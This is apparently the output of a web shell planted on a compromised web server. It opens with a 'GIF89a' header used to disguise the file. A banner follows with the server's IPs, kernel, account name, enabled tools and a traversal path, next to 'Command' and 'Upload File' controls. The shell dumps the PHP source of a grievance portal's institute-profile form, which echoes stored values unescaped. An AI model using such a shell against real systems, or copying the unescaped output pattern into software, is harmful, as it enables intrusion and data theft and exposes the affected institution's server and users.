GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.117.99.192 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/pdf/../../grievance/application/views/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!DOCTYPE HTML> <html> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>Grievance Redressal Portal: Update Institute Profile</title> <link rel="stylesheet" href="<?php echo base_url("assets/css/style.css"); ?>"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&display=swap"> <link rel="image icon" href="<?php echo $this->session->userdata('inst_logo_url'); ?>"> <script src="<?php echo base_url("assets/js/jquery-1.10.2.min.js"); ?>"></script> <script src="<?php echo base_url("assets/js/bootstrap.min.js"); ?>"></script> <script> var csrfHash = ''; </script> </head> <body> <div class="se-pre-con"></div> <section> <?php $this->load->view("navAndHeader"); ?> <div class="main-content"> <div class="container-fluid content-top-gap"> <nav aria-label="breadcrumb"> <ol class="breadcrumb my-breadcrumb"> <li class="breadcrumb-item"><a href="<?php echo site_url("Dashboard"); ?>">Home</a></li> <li class="breadcrumb-item">Institue Profile</li> </ol> </nav> <section class="forms"> <div class="card card_border py-2 mb-4"> <div class="cards__heading"> <h3><i class="fa fa-university"></i> Update Institute Profile</h3> </div> <div class="card-body"> <?php if (validation_errors() != false) { ?> <div class="alert alert-danger"> <strong><?php echo validation_errors(); ?></strong> </div> <?php } ?> <?php if ($this->session->flashdata('successMessage')) { ?> <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?> </strong> </div> <?php } ?> <?php if ($this->session->flashdata('errorMessage')) { ?> <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div> <?php } ?> <?php echo form_open(site_url('Profile/updateInsituteProfile'), ['name' => 'instProfileUpdateFrm', 'id' => 'instProfileUpdateFrm']); ?> <div class="form-row"> <div class="form-group col-md-8"> <label for="instName" class="input__label">Name *</label> <input type="text" class="form-control input-style" id="instName" name="instName" value="<?php echo $inst_info->clg_name; ?>" placeholder="Enter Institute Name"> </div> <div class="form-group col-md-4"> <label for="instCode" class="input__label">Code *</label> <input type="text" class="form-control input-style" id="instCode" name="instCode" value="<?php echo $inst_info->clg_code; ?>" placeholder="Enter Institute Code"> </div> </div> <div class="form-row"> <div class="form-group col-md-4"> <label for="instEmail" class="input__label">Email *</label> <input type="text" class="form-control input-style" id="instEmail" name="instEmail" value="<?php echo $inst_info->clg_email; ?>" placeholder="Enter Institute Primary Email"> </div> <div class="form-group col-md-4"> <label for="instMobile" class="input__label">Mobile *</label> <input type="text" maxlength="10" onkeypress="return event.charCode >= 48 && event.charCode <= 57" class="form-control input-style" id="instMobile" name="instMobile" value="<?php echo $inst_info->clg_mobile; ?>" placeholder="Enter Institute Primary Mobile"> </div> <div class="form-group col-md-4"> <label for="instLandline" class="input__label">Landline *</label> <input type="text" maxlength="11" onkeypress="return event.charCode >= 48 && event.charCode <= 57" class="form-control input-style" id="instLandline" name="instLandline" value="<?php echo $inst_info->clg_landline; ?>" placeholder="Enter Institute Primary Landline"> </div> </div> <div class="form-row"> <div class="form-group col-md-4"> <label for="instWebsite" class="input__label">Website *</label> <input type="text" class="form-control input-style" id="instWebsite" name="instWebsite" value="<?php echo $inst_info->clg_website_url; ?>" placeholder="Enter Institute Website"> </div> <div class="form-group col-md-4"> <label for="instSubdomain" class="input__label">Subdomain *</label> <input type="text" disabled class="form-control input-style" id="instSubdomain" name="instSubdomain" value="<?php echo $inst_info->clg_subdomain; ?>" placeholder="Enter Institute Subdomain"> </div> <div class="form-group col-md-4 custom-file"> <label for="instLogo" class="input__label">Logo</label> <input type="file" disabled name="instLogo" class="custom-file-input" id="instLogo"> </div> </div> <div class="form-row"> <div class="form-group col-md-4"> <label for="instState" class="input__label">State</label> <select id="instState" name="instState" class="form-control input-style"> <option>-Select State-</option> <?php for ($i = 0; $i < sizeof($allStates); $i++) { $selected = ""; if ($inst_info->stateId == $allStates[$i]->id) { $selected = "selected"; } echo "<option value='" . $allStates[$i]->id . "' " . $selected . ">" . $allStates[$i]->name . "</option>"; } ?> </select> </div> <div class="form-group col-md-4"> <label for="instCity" class="input__label">City</label> <select id="instCity" name="instCity" class="form-control input-style"></select> </div> <div class="form-group col-md-4"> <label for="instZip" class="input__label">Zip Code</label> <input type="text" maxlength="6" onkeypress="return event.charCode >= 48 && event.charCode <= 57" class="form-control input-style" id="instZip" name="instZip" value="<?php echo $inst_info->clg_pincode; ?>" placeholder="Enter Zip Code"> </div> </div> <div class="form-row"> <div class="form-group col-md-4"> <label for="instAddrLineOne" class="input__label">Address Line One</label> <input type="text" class="form-control input-style" id="instAddrLineOne" name="instAddrLineOne" value="<?php echo $inst_info->clg_addr_line_one; ?>" maxlength="200" placeholder="Address Line One"> </div> <div class="form-group col-md-4"> <label for="instAddrLineTwo" class="input__label">Address Line Two</label> <input type="text" class="form-control input-style" id="instAddrLineTwo" name="instAddrLineTwo" value="<?php echo $inst_info->clg_addr_line_two; ?>" maxlength="200" placeholder="Address Line Two"> </div> <div class="form-group col-md-4"> <label for="instAddrLineThree" class="input__label">Address Line Three</label> <input type="text" class="form-control input-style" id="instAddrLineThree" name="instAddrLineThree" value="<?php echo $inst_info->clg_addr_line_three; ?>" maxlength="200" placeholder="Address Line Three"> </div> </div> <div class="form-row"> <div class="form-group col-md-12"> <label for="instLandMark" class="input__label">Landmark</label> <textarea class="form-control input-style" id="instLandMark" name="instLandMark" placeholder="Enter Institute Landmark (Max. 150 Characters Only)" maxlength="200"><?php echo $inst_info->clg_landmark; ?></textarea> </div> </div> <div class="form-row"> <div class="form-group col-md-4"> <label for="instAltEmail" class="input__label">Alt. Email</label> <input type="text" class="form-control input-style" id="instAltEmail" name="instAltEmail" value="<?php echo $inst_info->clg_alt_email; ?>" placeholder="Enter Institute Alternate Email"> </div> <div class="form-group col-md-4"> <label for="instAltMobile" class="input__label">Alt. Mobile</label> <input type="text" maxlength="10" onkeypress="return event.charCode >= 48 && event.charCode <= 57" class="form-control input-style" id="instAltMobile" name="instAltMobile" value="<?php echo $inst_info->clg_alt_mobile; ?>" placeholder="Enter Institute Alternate Mobile"> </div> <div class="form-group col-md-4"> <label for="instAltLandline" class="input__label">Alt. Landline</label> <input type="text" maxlength="10" onkeypress="return event.charCode >= 48 && event.charCode <= 57" class="form-control input-style" id="instAltLandline" name="instAltLandline" value="<?php echo $inst_info->clg_alt_landline; ?>" placeholder="Enter Institute Alternate Landline"> </div> </div> <input type="hidden" name="instId" value="<?php echo $this->session->userdata('inst_id'); ?>"> <small class="form-text text-muted">For Updating The Disabled Values Please Contact Us (Service Provider).</small> <button id="submitBtn" type="submit" class="btn btn-primary btn-block btn-style mt-4">Save Changes</button> <?php echo form_close(); ?> </div> </div> </section> </div> </div> </section> <script> $(document).ready(function () { /*Removing Active Class From Current Page Menu*/ document.getElementById("dashboard").classList.remove("active"); document.getElementById("userMgmnt").classList.remove("active"); document.getElementById("changePassword").classList.remove("active"); document.getElementById("reports").classList.remove("active"); document.getElementById("dataMgmnt").classList.remove("active"); $(".se-pre-con").fadeIn("slow"); if (csrfHash === '') { csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>'; } $.ajax({ url: '<?php echo site_url('Locations/getActiveCitiesByStateForUpdate/') ?>', data: {state_id: <?php echo $inst_info->stateId; ?>, city_id: <?php echo $inst_info->cityId; ?>, csrf_token: csrfHash}, type: 'POST', success: function (result) { var cityInfo = JSON.parse(result); $(".se-pre-con").fadeOut("slow"); $("#instCity").html(cityInfo.city_list); csrfHash = cityInfo.csrfHash; instProfileUpdateFrm.csrf_token.value = csrfHash; } }); $("#instState").on("change", function () { $(".se-pre-con").fadeIn("slow"); if (csrfHash === '') { csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>'; } if ($(this).val().trim() != "") { $.ajax({ url: '<?php echo site_url('Locations/getActiveCitiesByState/') ?>', data: {state_id: $(this).val(), csrf_token: csrfHash}, type: 'POST', success: function (result) { var cityInfo = JSON.parse(result); $(".se-pre-con").fadeOut("slow"); $("#instCity").html(cityInfo.city_list); csrfHash = cityInfo.csrfHash; instProfileUpdateFrm.csrf_token.value = csrfHash; } }); } }); }); </script> <?php $this->load->view("footer"); ?> </body> </html>